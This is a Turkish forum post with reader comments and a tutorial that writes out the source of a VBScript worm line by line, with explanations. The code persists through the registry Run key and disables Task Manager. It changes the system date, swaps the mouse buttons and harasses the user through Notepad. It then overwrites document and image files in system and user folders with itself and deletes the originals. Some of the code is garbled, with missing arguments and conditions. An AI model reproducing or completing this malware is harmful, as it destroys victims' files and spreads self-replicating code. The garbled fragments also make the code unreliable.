oLm Şu Reklamlarından Bıktım Artık! Atın şunu yaf! Sana uyarı felanda yok! BANNED! -

ilk ben gördüm eğer yazdığın kodları anlayıp kendim benzerini yazabilirsem, bıraktığım vb'yi de büt de geçerim heralde kodlar için saol

aslan güzel döküman... eline sağlık teşekkürler.

Bu Makalemde Bir Virüsün Yapısını Virüs Yazarak İnceleyeceğiz Belki Bu Makale Birilerin Canını Fena Halde Yakabilir, Ama Bir Virüsü Anlamak İleride Başınıza Gelebilecek Muhtemel Olaylarda Çözümde Olabilir Ve İçindeki Bir Çok İpucu İşinizide Görebilir Virüsü Programlayacağımız Dil VBS Şimdi bir nevi worm yazacaz. Makalemi okuduktan sonra neden worm denildiğini çok iyi anlarsınız umarım ;-) Worm'u Yazarken NT sistemleri Hedef alıyoruz. Tam bir baş belası. txt, jpg, doc, ttf, bmp gibi uzantılarına sahip dosyalara kendini yazıyor. Size makaleyi okurken nereleri test edebileceğinize belirticem. Aksi takdirde bazı yerler sizinde başınızın belası olabilir... Solucanımız 3 Aşamadan Meydana Gelecek; 1-Bulaşma 2-Fırtına Öncesi Sessizlik 3-Çoğalma ve Yok etme 1-Virüsler Bir Bilgisayara Bir Çok Yoldan Bulaşabilir Disketlerden, web sayfalarından, e-mailden, dosyadan vb... Worm Tipi Virüsler Genelde e-mail yoluyla bulaşır. Bullaşma Konusunu Sakıncalı olduğu için Bulaşma konusunu anlatmayacağım. Fakat Wormların Nasıl e-maillere ulaştıklarını merak edenler için sanırım aşağıdaki satır açıklayıcı olur; Set Outlook = CreateObject 2-Kuluçka Virüsün aktifleşmeyi beklediği zaman sürecidir. Bu virüsün yapısına göre değişebilir. 3-Çoğalma ve Yok etme Worm un aktif olduğu zaman ne halt karıştıracağıdır bu da virüsün yapısına göre değişir ;-) Eğer Hazırsanız Şimdi Kodlara Geçelim ;-)) Dim RegVeYol, Yol, Sys, Ben, str, App Set RegVeYol = CreateObject set Shell = WScript. CreateObject 'Virus Dosya İşlemleri Ve Bir Çok İşlem İçin Scripting. FileSystemObject ve WScript. Shell Nesnesini Kullanıyor Set Yapici =CreateObject Set Ben = Yapici. GetFile 'Sadece CdRom Kapağını Açmak İçin WMPlayer. OCX.7 kulanıyor Set CdRom = CreateObject( "WMPlayer. OCX.7" ) 'WScript. Network Nesnesi Belki Birçok Olay İçin Kullanıla Bilir ama Virüs Sadece Kullanıcı Adını Bulmak İçin Kullanıyor Set KurbanPc = WScript. CreateObject KurbanName= KurbanPc. UserName 'Virüs İlk Çalıştığında Registry Da Olup Olmadığını Kontrol Ediyor on error resume next str= RegVeYol. RegRead 'Üsteki Satırda Registry Den Okuyor 'Aşağıdaki kontrol bloğu ise kendisi Registry ye yazılmış ise Virüs aktif hale geçiyor aksi durumda 'Ki genelde ilk çalışdığında öyle olacak 'Kendini Windows her başladığında çalışmak üzere Registry yazar ve kendisini WindowsSystem32 dizinine Windows. VBS adında 'kopyalar if str<>Yapici. GetSpecialFolder(1)&"Windows. vbs"Then Ben. Copy (Yapici. GetSpecialFolder(1)&"Windows. vbs") RegVeYol. RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun", Yapici. GetSpecialFolder(1)&"Windows. vbs" end if 'Artık Worm Windows Tekrar ilk başladığında Aktif hale gelecek 'Worm aktifleştiğinde yapacağı ilk iş Saat i ve Tarihi bozmaktır 'Windows Saat ve Tarih Ayarlarını açar ve SendKeys metodunu kullanarak saat ve tarihi değiştirir. 'Saat i :00:00 ve tarihide 01 çalıştığı gün 2099 ayarlar 'Böylece sistem saatine bağlı çalışan uygulamada çalınmaz duruma gelecektir. 'aşağıdaki satırlar bu işi yapar shell. Run "RUNDLL32 SHELL32. DLL, Control_RunDLL TIMEDATE. CPL,@0,",0 shell. AppActivate "TIMEDATE" WScript. Sleep 100 Shell. SendKeys " "&" "&" "&" "&" "&"0"&" "&"0"&" "&"0"&" "&" " 'Registry ile görev yöneticisi pasif yapıyor. RegVeYol. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr", "1" 'User32den SwapMouseButton fonksiyonunu çağırıyor ve Mouse un Sağ Buttonu İle Sol Buttonu değiştiriyor Shell. Run ("RUNDLL32 USER32. DLL, SwapMouseButton") 'Aşağıdaki Satır İse Windows dizindeki bir Wav dosyasını çalıştırır ben bulaştım sana diyor 'Komutun sonundaki 0 parametresi ise Media Player ı gizler 'Shell. Run "ALSNDMGR. wav",0 'Virüs ben bulaştım sana demeye devam ediyor ve yine SendKeys metodunu kullanarak 'klavye ışıkları ile oynuyor Kara şimşek Yapıyor. 'Sleep Ler Bir Komutdan Diğerine Bekleme Süresini Veriyor for a=0 to 100 WScript. Sleep 40 Shell. SendKeys " " WScript. Sleep 100 Shell. SendKeys " " WScript. Sleep 100 Shell. SendKeys " " next 'Buda yetmiyor not defterini acıp mesajlalar veriyor Shell. Run "notepad" WScript. Sleep 40 shell. AppActivate "NOTEPAD" WScript. sleep 250 for a=0 to 100 WScript. Sleep 100 Shell. SendKeys KurbanName & " Beni Anlamak İstiyor Musun? ' Karakteri Enter tuşu görevi yapıyor Shell. SendKeys " " Shell. SendKeys "Ölüler Konuşuyor Duymuyor Musun?" Shell. SendKeys " "&" " next 'Bir web adresini aç ıyor shell. Run ("rundll32. exe url. dll, FileProtocolHandler http://Www.wardom. org") 'Cdrom Kapaklarını Acıyor on error resume next CdRom. cdromCollection. Item(0). eject CdRom. cdromCollection. Item(1). eject ' ' İyi bir Windows Bilgisine Sahip İseniz Buraya Kadar Yazılanları Bilgisayarınızda Test Edebilirsiniz Ve Worm un Bilgisayarınızda 'Yaptığı Değişiklilikleri Düzeltiniz. 'Bura dan Sonra Yazılanları Test Etmeniz Önerilmez! 'Aşağıdaki Satırlar Bir Worm'u Solucan Yapan Satırların Ta kendisi 'Yani Çoğalma Ve Yok Etme Kullanıcı Worm un Yaptığı İşler İle Uğrasa dursun 'Bakın Worm Neler Yapıyor. 'Önce Dizin Adındaki 7 indisli dizi değişkenine 7 Adet Klasör Atıyor 'Dizi yi For döngüsüne bağlayıp dizinlerdeki belirtilen dosya uzantılarındaki dosyaları buluyor 'Önce Bulduğu Dosyanın İçeriğin e Kendini Yazıyor 'Ve dosya_adı. uzantısı. vbs olarak bir kopyasını oluşturduktan sonra 'eski dosyayı siliyor. Dim Dosya,, DosyalariBul, Dosyalar, Bul, Dizin(7) Dizin(0)=Yapici. GetSpecialFolder(0) Dizin(1)=Yapici. GetSpecialFolder(1) Dizin(2)=Yapici. GetSpecialFolder(2) Dizin(3)=RegVeYol. SpecialFolders Dizin(4)=RegVeYol. SpecialFolders Dizin(5)=RegVeYol. SpecialFolders Dizin(6)=RegVeYol. SpecialFolders Dizin(7)=RegVeYol. RegRead for i=0 to 7 'Kendisini Acıyor Set Dosya = Yapici. OpenTextFile(WScript. ScriptFullName,1) 'for Dönsünde Her bir dönüşte Bir Sonraki Dizine Geçiyor Set DosyalariBul = Yapici. GetFolder(Dizin 'Dizin İçindeki Dosyaları Alıyor Set Dosyalar = DosyalariBul. Files 'Yaz Değişkenine Kendi İçeriğini Veriyor. Yaz = Dosya. ReadAll 'Bulunan Dosya Sayısı Kadar Döngüye Giriyor 'Ve Dosyalar Bulunuyor. For each file1 in Dosyalar uzantilar = Yapici. GetExtensionName(file1. path) uzantilar = lcase 'Belirtilen Türde Dosya Buldu ise İçeriğine Kendini Yazıyor Siz Burda Dosya Türünü Değiştirip Deneye Bilirsiniz. If or or or or Then Set Bul = Yapici. OpenTextFile(file1. path, 2, True) Bul. Write Yaz Bul. Close 'Sonra İçene Yazdığı Dosyayı Dosya_adı. Uzantısı. vbs Olarak Kopyalıyor ve Eski Dosyayı Siliyor set Kopya=Yapici. GetFile(file1. path) Kopya. copy(file1. path&". vbs") Yapici. DeleteFile(file1. path) End If next next